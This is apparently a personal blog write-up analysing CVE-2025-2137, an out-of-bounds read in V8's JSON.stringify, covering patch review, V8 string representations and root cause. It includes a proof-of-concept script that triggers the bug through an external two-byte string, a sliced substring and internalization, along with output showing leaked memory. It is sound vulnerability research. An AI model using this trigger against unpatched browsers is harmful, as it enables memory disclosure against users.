Chrome V8 CVE-2025-2137 N-day

2025-06-08

I’ve recently developed a strong interest in browser exploitation, specifically in JavaScript engines, and completed Ret2System’s Browser Exploitation Fundamentals course. I felt ready to tackle some N-day vulnerabilities and try writing proof-of-concept (PoC) scripts before public disclosure. For CVE-2025-2137, I didn’t quite get a working PoC out in time, but I came close. Along the way, I learned a ton about JSON internals and how V8 represents strings. Here’s a walkthrough of what I discovered.

CVE-2025-2137

I wanted to ease into browser exploitation by exploring a relatively simple out-of-bounds (OOB) read vulnerability. That’s how I landed on CVE-2025-2137, which affects JSON.stringify. While the public details were limited at the time, I found the patch commit and began reverse-engineering the fix:

To start analyzing, I built the vulnerable version of V8 (d8):

git checkout 43338c76d9344a5c4257b8876d6f9d2ec611e92f 
gclient sync
gm x64.release

Patch Overview

From the filenames, I inferred this was related to JSON handling, particularly something called the “stringifier”. I cross-referenced with MSDN’s JSON docs and focused on the stringify function.

src/objects/js-raw-json.cc
src/json/json-stringifier.cc
src/builtins/builtins-json.cc

The function below stood out to me, as it looked promising for an OOB read if I could control the length or encoding:

  void AppendStringByCopy(Tagged<String> string, size_t length,const DisallowGarbageCollection& no_gc) {
    DCHECK_EQ(length, string->length());
    DCHECK(encoding_ == String::TWO_BYTE_ENCODING || (string->IsFlat() && string->IsOneByteRepresentation()));

    DCHECK(CurrentPartCanFit(length + 1));
    String::FlatContent flat = string->GetFlatContent(no_gc);
    if (encoding_ == String::ONE_BYTE_ENCODING) {
      if (flat.IsOneByte()) {
        CopyChars<uint8_t, uint8_t>(one_byte_ptr_ + current_index_, flat.ToOneByteVector().begin(), length);
      } else {
        ChangeEncoding();
        CopyChars<uint16_t, uint16_t>(two_byte_ptr_ + current_index_, flat.ToUC16Vector().begin(), length);
      }
    } else {
      if (flat.IsOneByte()) {
        CopyChars<uint8_t, uint16_t>(two_byte_ptr_ + current_index_, flat.ToOneByteVector().begin(), length);
      } else {
        CopyChars<uint16_t, uint16_t>(two_byte_ptr_ + current_index_, flat.ToUC16Vector().begin(), length);
      }
    }
    current_index_ += length;
    DCHECK(current_index_ <= part_length_);
  }

v8 Strings

So how are strings represented in V8? The Javascript engine optimizes everything, and I mean everything, this creates complexity including which strings to use. Turns out, there are many formats for strings:

//- String
//  - SeqString
//    - SeqOneByteString
//    - SeqTwoByteString
//  - SlicedString
//  - ConsString
//  - ThinString
//  - ExternalString
//    - ExternalOneByteString
//    - ExternalTwoByteString
//  - InternalizedString
//    - SeqInternalizedString
//      - SeqOneByteInternalizedString
//      - SeqTwoByteInternalizedString
//    - ConsInternalizedString
//    - ExternalInternalizedString
//      - ExternalOneByteInternalizedString
//      - ExternalTwoByteInternalizedString

Not all of these are relevant to the bug, though. A comment in the patch caught my eye:

// TODO(mbid): Is this really equivalent to whether the string is
// one-byte or two-byte? A comment at the declaration of
// IsOneByteRepresentationUnderneath says that this might fail forAdd commentMore actions
// external strings.

This confirmed two things:

  1. The OOB read is encoding-related.
  2. External strings can trick the encoder logic.

I focused on the following string types:

  • SeqOneByteString: The simplest, contains a few header fields and then the string’s bytes (not UTF-8 encoded, can only contain characters in the first 256 unicode code points)
  • SeqTwoByteString: Same, but uses two bytes for each character (using surrogate pairs to represent unicode characters that can’t be represented in two bytes).
  • SlicedString: A substring of some other string. Contains a pointer to the “parent” string and an offset and length.
  • ConsString: The result of adding two strings (if over a certain size). Contains pointers to both strings (which may themselves be any of these types of strings).
  • ExternalString: Used for strings that have been passed in from outside of V8.

Hitting AppendStringByCopy()

Breakpoint on the function I thought was the issue:

b v8::internal::JsonStringifier::AppendStringByCopy
b v8::internal::JsonStringifier::AppendString
b v8::internal::JsonStringifier::SerializeDouble
b v8::internal::JsonStringifier::AppendSmi
b v8::internal::JsonStringifier::Serialize_
b v8::internal::JsonStringifier::SerializeString_

I found this switch case that eventually hits AppendString:

JsonStringifier::Result JsonStringifier::Serialize_(Handle<JSAny> object,bool comma,Handle<Object> key) {
// ...
   case JS_RAW_JSON_TYPE: // Make this object type!
      if (deferred_string_key) SerializeDeferredKey(comma, key); 
      {
        DirectHandle<JSRawJson> raw_json_obj = Cast<JSRawJson>(object);
        Handle<String> raw_json;
        if (raw_json_obj->HasInitialLayout(isolate_)) {
          raw_json = Cast<String>(handle(raw_json_obj->InObjectPropertyAt(JSRawJson::kRawJsonInitialIndex),isolate_));
        } else {
          raw_json = Cast<String>(JSObject::GetProperty(isolate_, raw_json_obj,isolate_->factory()->raw_json_string()).ToHandleChecked());
        }
        AppendString(raw_json); // GET HERE
      }

To reach this, I needed to create a rawJSON object. I tried everything I could think of, at first I assumed the bug might involve the replacer. Here’s the test script I had before the full bug details dropped:

//> d8 --allow-natives-syntax --expose-externalize-string
var string = '"AAAAAAAAAAAAAAAAAò\u6587AAAAAAAAAAAAAAAAAAA"';
externalizeString(string);
// %DebugPrint(string);
// %DebugPrint(string.slice(0, 20))
var rJSON = JSON.rawJSON(string.slice(0, 40))
// %DebugPrint(rJSON)
JSON.stringify(rJSON)

The Actual Bug

How far off was I? Surprisingly, not that far. I figured out:

  1. The string needed to be external.
  2. It must then be sliced to confuse the encoder.
  3. JSON.stringify triggers the Out-of-bounds read.
// Actual POC.js
const internalizedString = "aaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbbbbbbbbbb";

const str = createExternalTwoByteString(internalizedString);
const [sub_str] = /b+/.exec(str);

console.log('expect: ', JSON.stringify(sub_str));

%InternalizeString(str);

console.log('found: ', JSON.stringify(sub_str));

createExtenalTwoByteString was made by the reporter, and placed in d8.cc. It will aid in the creation of our external string. But long story short, V8 supports external strings, which are stored outside the V8 heap. These strings are often used for resources like web page content.

void CreateExtenalTwoByteString(const v8::FunctionCallbackInfo<v8::Value>& info) {
  DCHECK(i::ValidateCallbackInfo(info));
  if (info.Length() != 1 || !info[0]->IsString()) {
    ThrowError(info.GetIsolate(), "Invalid argument");
    return;
  }

  std::u16string out;
  Local<String> str = info[0].As<String>();
  uint32_t length = str->Length();
  out.resize(length);
  static_assert(sizeof(char16_t) == sizeof(uint16_t), "char16_t isn't the same as uint16_t");
  str->WriteV2(info.GetIsolate(), 0, length, reinterpret_cast<uint16_t*>(out.data()));

  auto resource = new U16StringResource(out);
  Local<String> u16str = String::NewExternalTwoByte(info.GetIsolate(), resource).ToLocalChecked();
  info.GetReturnValue().Set(u16str);
}

With our new function compiled, we should be able to run the actual bug.js now and see the OOB Read!

pwndbg> r --allow-natives-syntax bug.js
[ ... ]
[New Thread 0x7fffe1c666c0 (LWP 124217)]
expect:  "bbbbbbbbbbbbbbbbbbbbbbbbbbbbb"
found:  "扢扢扢扢扢扢扢扢扢扢扢扢扢扢啢\u0001切Β\u0000猀牴唀\u0001昀Ἤߺ\u0000猀"

Root Cause Analysis

What is the actual issue, code wise? We know that the string needs to be external, but lets take a look at the stack trace to get a better idea. In debug mode we see the following;

# Fatal error in ../../src/objects/string-inl.h, line 1125
# Debug check failed: flat.IsTwoByte().

►  0   0x7ffff7faa5d9 v8::base::OS::Abort()::$_0::operator()() const+9
   1   0x7ffff7faa5bb v8::base::OS::Abort()+75
   2   0x7ffff7f881bb V8_Fatal(char const*, int, char const*, ...)+555
   3   0x7ffff7f87b4c None
   4   0x7ffff7f8826d V8_Dcheck(char const*, int, char const*)+77
   5   0x7ffff409f71a v8::base::Vector<unsigned short const> v8::internal::String::GetCharVector<unsigned short> v8::internal::PerThreadAssertScope<false, (v8::internal::PerThreadAssertType)1, (v8::internal::PerThreadAssertType)2> const&)+122
   6   0x7ffff40bb283 bool v8::internal::JsonStringifier::SerializeString_<unsigned short, unsigned short, false>(v8::internal::Tagged<v8::internal::String>, v8::internal::PerThreadAssertScope<false, (v8::internal::PerThreadAssertType)1, (v8::internal::PerThreadAssertType)2> const&)+131
   7   0x7ffff4098fec bool v8::internal::JsonStringifier::SerializeString<false>(v8::internal::Handle<v8::internal::String>)+380

Since we’re running in debug, we have some failing DCHECK assertion happening, lets check it out. Side note, DCHECK is a debug-only assertion macro used in the V8 codebase (and other Google projects). It stands for “Debug CHECK”, and it’s used to enforce invariants only in debug builds. Thus, in release versions (prod) these will not trigger.

// src/objects/string-inl.h", line=1125
In file: /v8/v8/src/objects/string-inl.h:1125

inline base::Vector<const base::uc16> String::GetCharVector(const DisallowGarbageCollection& no_gc) {
  String::FlatContent flat = GetFlatContent(no_gc);
  DCHECK(flat.IsTwoByte()); // // Mismatch caught here
  return flat.ToUC16Vector();
}

Depending on encoding, the memory is interpreted differently:

base::Vector<const uint8_t> // 1-byte per char
base::Vector<const base::uc16> // 2-byte per char

But lets take a look at the strings being parsed by the engine!

Following the String!

We now understand that the string is being mismatched with encoding type, lets follow the string along in it’s journey;

  1. createExternalTwoByteString()EXTERNAL_TWO_BYTE
  • It uses a uint16_t* buffer (two-byte characters)
  1. /b+/.exec(str)SLICED_TWO_BYTE
  • This creates a sliced string, a lightweight view of a substring over str. At this point, sub_str trusts that its parent is still a two-byte string, because that’s what it was when sliced.
  1. %InternalizeString(str)THIN_ONE_BYTE
  • Optimize this string for internal use, V8 sees that the content of str only contains one-byte characters
  1. sub_str stays → SLICED_TWO_BYTE !!!
  • The problem is becomes more clear now, the string start as EXTERNAL_TWO_BYTE and when internalized, becomes the correct encoding THIN_ONE_BYTE type, although, when bringing in the sub_str, an indirect string, the encoding is still on two bytes!

Takeaways

I’m still new to browser exploitation, but this was a great intro to subtle type confusion in V8. This bug highlights how small mismatches in internal assumptions like, encoding type, can lead to real vulnerabilities, even in sandboxed environments.

While I didn’t get a working exploit out in time, I came away with a deeper understanding of V8 internals, string types, and how complex JavaScript engines really are under the hood.